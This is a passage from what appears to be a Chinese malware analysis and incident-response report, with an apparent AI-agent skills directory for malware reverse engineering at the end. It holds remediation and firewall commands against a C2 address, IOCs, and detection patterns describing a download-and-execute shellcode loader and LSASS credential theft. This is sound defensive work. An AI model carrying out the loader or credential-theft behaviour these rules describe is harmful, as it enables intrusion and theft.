del /f /q "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\wuaupd.exe" 2>nul
# 步骤 4: 防火墙封锁 C2
netsh advfirewall firewall delete rule name="Block C2" 2>nul
netsh advfirewall firewall add rule name="Block C2" dir=out remoteip=192.168.190.136 protocol=any action=block
# 步骤 5: 清除 DNS 缓存(防止 DNS 中毒残留)
ipconfig /flushdns
9.4 恢复与加固建议
┌──────────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┐
│ 类别 │ 建议 │
├──────────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ 系统恢复 │ 1. 从隔离/备份恢复受影响的系统2. 重新部署受影响的终端到信任基线 │
├──────────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ 凭证轮换 │ 1. 重置受影响用户的所有凭据2. 检查是否创建了可疑账户 │
├──────────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ 监控加强 │ 1. 监控 wuaupd.exe 进程创建2. 监控 Software\...\Run 注册表写入3. 监控 %APPDATA%\...\Startup 目录写入4. 监控到 │
│ │ 192.168.190.136:8088 的出站连接5. 部署上述 YARA/Sigma 规则到 SIEM │
├──────────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤
│ 加固 │ 1. 限制 Startup 文件夹写入权限2. 启用 AppLocker/WDAC 限制未授权执行3. 实施最小权限原则4. 启用 AMSI 和 Windows Defender │
└──────────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┘
---
10. 威胁统计
┌─────────────────┬───────────────┐
│ 统计项 │ 数值 │
├─────────────────┼───────────────┤
│ 用户函数总数 │ 49 (不含导入) │
├─────────────────┼───────────────┤
│ 恶意函数 │ 12 │
├─────────────────┼───────────────┤
│ 高危 API 调用 │ 15+ │
├─────────────────┼───────────────┤
│ 网络 IOC │ 4 │
├─────────────────┼───────────────┤
│ 文件 IOC │ 2 │
├─────────────────┼───────────────┤
│ 注册表 IOC │ 1 │
├─────────────────┼───────────────┤
│ ATT&CK 技术映射 │ 10 │
├─────────────────┼───────────────┤
│ 持久化机制 │ 2 │
├─────────────────┼───────────────┤
│ 反分析技术 │ 3 │
└─────────────────┴───────────────┘
---
11. 防御建议
1. 立即封锁: 在边界防火墙/IDS 上封锁 192.168.190.136 及其子网的所有出站流量
2. 全网扫描: 使用提供的 YARA 规则扫描全网端点,查找 loader32.exe / wuaupd.exe
3. EDR 检测规则: 基于以下 API 调用链建立行为检测:
- WinHttpConnect + WinHttpOpenRequest + WinHttpReadData 后出现 VirtualAlloc + VirtualProtect(PAGE_EXECUTE) + CreateThread
4. AppLocker: 实施默认拒绝策略,阻止 %APPDATA% 下的未签名可执行文件
5. ASR 规则: 启用 "阻止从 Windows 本地安全认证子系统(LSASS)窃取凭据" 和 "阻止可执行文件运行,除非它们满足普遍年龄、流行程度或受信任列表条件"
规则
6. PowerShell 日志: 启用 Script Block Logging 和 Module Logging 以捕获潜在的后续攻击阶段
---
skills/
├── CLAUDE.md # 自动触发规则
├── malware-re-skills/
│ ├── README.md # 详细说明
│ ├── malware-pipeline/ # 全链路流水线
│ │ └── SKILL.md
│ ├── malware-triage/ # 分类与壳识别
│ │ └── SKILL.md
│ ├── malware-unpacking/ # 脱壳处理
│ │ └── SKILL.md
│ ├── malware-static-analysis/ # 深度静态分析
│ │ └── SKILL.md
│ ├── malware-ioc-extractor/ # IOC 提取
│ │ └── SKILL.md
│ ├── malware-behavior-extractor/ # 行为映射 ATT&CK
│ │ └── SKILL.md
│ ├── malware-persistence-analysis/ # 持久化分析
│ │ └── SKILL.md
│ ├── malware-license-analysis/ # 授权验证逆向
│ │ └── SKILL.md
│ ├── malware-incident-response/ # 应急响应
│ │ └── SKILL.md
│ └── malware-shared/ # 共享知识库
│ ├── PLATFORM_DIFFERENCES.md
│ ├── SEVERITY_RATING.md
│ ├── SKILL_HEADER.md
│ ├── OUTPUT_STANDARD.md
│ └── references/
│ ├── API_REFERENCE.md
│ ├── MITRE_ATTACK_REFERENCE.md
│ └── PACKER_FINGERPRINTS.md